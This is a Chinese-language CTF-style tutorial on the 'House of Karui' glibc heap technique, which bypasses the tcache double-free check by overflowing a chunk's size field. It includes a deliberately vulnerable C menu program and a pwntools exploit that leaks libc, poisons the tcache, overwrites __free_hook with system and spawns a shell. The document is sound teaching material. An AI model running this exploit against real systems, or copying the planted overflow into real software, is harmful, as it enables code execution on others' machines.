目录
前言
一、House of Karui
二、测试与模板
前言
早期版本的 tcachebin 由于毫无保护,导致攻击利用非常容易,成为重灾区。tcache dup,也即 tcachebin 中的 double free 利用手法,是攻击者常常选用的攻击方式。然而,在glibc-2.29开始,添加了对 tcache key,对 double free 进行了检查。
本篇介绍的 House of Karui 即是一种非常简单的通过溢出来实现绕过,造成double free的方法。
一、House of Karui
double free 两次同一个 tcache 范围的 chunk,会触发:
如果同一个 chunk 被链到同一个 tcachebin 中,那么就会报如上错误。其原理是,第一次释放时进入 tcachebin 中,chunk 会被写入一个 key,如果某一个 chunk 正在被释放,就会遍历对应的整条 tcachebin 链,如果发现同一个 chunk,则报错。
那么我们只需要让这一个 chunk 链入不同的 tcache 即可。怎么实现?——通过溢出(一般是这种情形下),将该 chunk 的 size 进行修改,再次 free 时就会进入不同的 tcachebin 中,也就规避了检查到同一个 chunk。
接下来就是正常申请堆块,然后更改其 next 指针,实现 tcache poisoning,任意地址 malloc
二、测试与模板
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
char *chunk_list[0x100];
void menu() {
puts("1. add chunk");
puts("2. delete chunk");
puts("3. edit chunk");
puts("4. show chunk");
puts("5. exit");
puts("choice:");
}
int get_num() {
char buf[0x10];
read(0, buf, sizeof(buf));
return atoi(buf);
}
void add_chunk() {
puts("index:");
int index = get_num();
puts("size:");
int size = get_num();
chunk_list[index] = malloc(size);
}
void delete_chunk() {
puts("index:");
int index = get_num();
free(chunk_list[index]);
}
void edit_chunk() {
puts("index:");
int index = get_num();
puts("length:");
int length = get_num();
puts("content:");
read(0, chunk_list[index], length);
}
void show_chunk() {
puts("index:");
int index = get_num();
puts(chunk_list[index]);
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
while (1) {
menu();
switch (get_num()) {
case 1:
add_chunk();
break;
case 2:
delete_chunk();
break;
case 3:
edit_chunk();
break;
case 4:
show_chunk();
break;
case 5:
exit(0);
default:
puts("invalid choice.");
}
}
}
from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
context.arch=elf.arch
context.log_level='debug'
io=process('./pwn')
def add(index,size):
io.sendlineafter(b'choice:\n',b'1')
io.sendlineafter(b'index:\n',str(index).encode())
io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):
io.sendlineafter(b'choice:\n',b'2')
io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):
io.sendlineafter(b'choice:\n',b'3')
io.sendlineafter(b'index',str(index).encode())
io.sendlineafter(b'length:\n',str(length).encode())
io.sendafter(b'content:\n',content)
def show(index):
io.sendlineafter(b'choice:\n',b'4')
io.sendlineafter(b'index:\n',str(index).encode())
gdb.attach(io)
# leak libc
add(0,0x410)
add(1,0x10)
delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x7591b55b6be0+0x7591b5200000
libc.address=libc_base
success(hex(libc_base))
add(0,0x410)
# house of karui
add(0,0x10)
add(1,0x18)
add(2,0x10)
delete(0)
delete(2)
edit(1,0x20,b'a'*0x18+p64(0x30))
delete(2)
add(0,0x20)
edit(0,0x8,p64(libc.sym['__free_hook']))
add(1,0x18)
add(1,0x18)
edit(1,0x8,p64(libc.sym['system']))
edit(0,0x8,b'/bin/sh\x00')
delete(0)
io.interactive()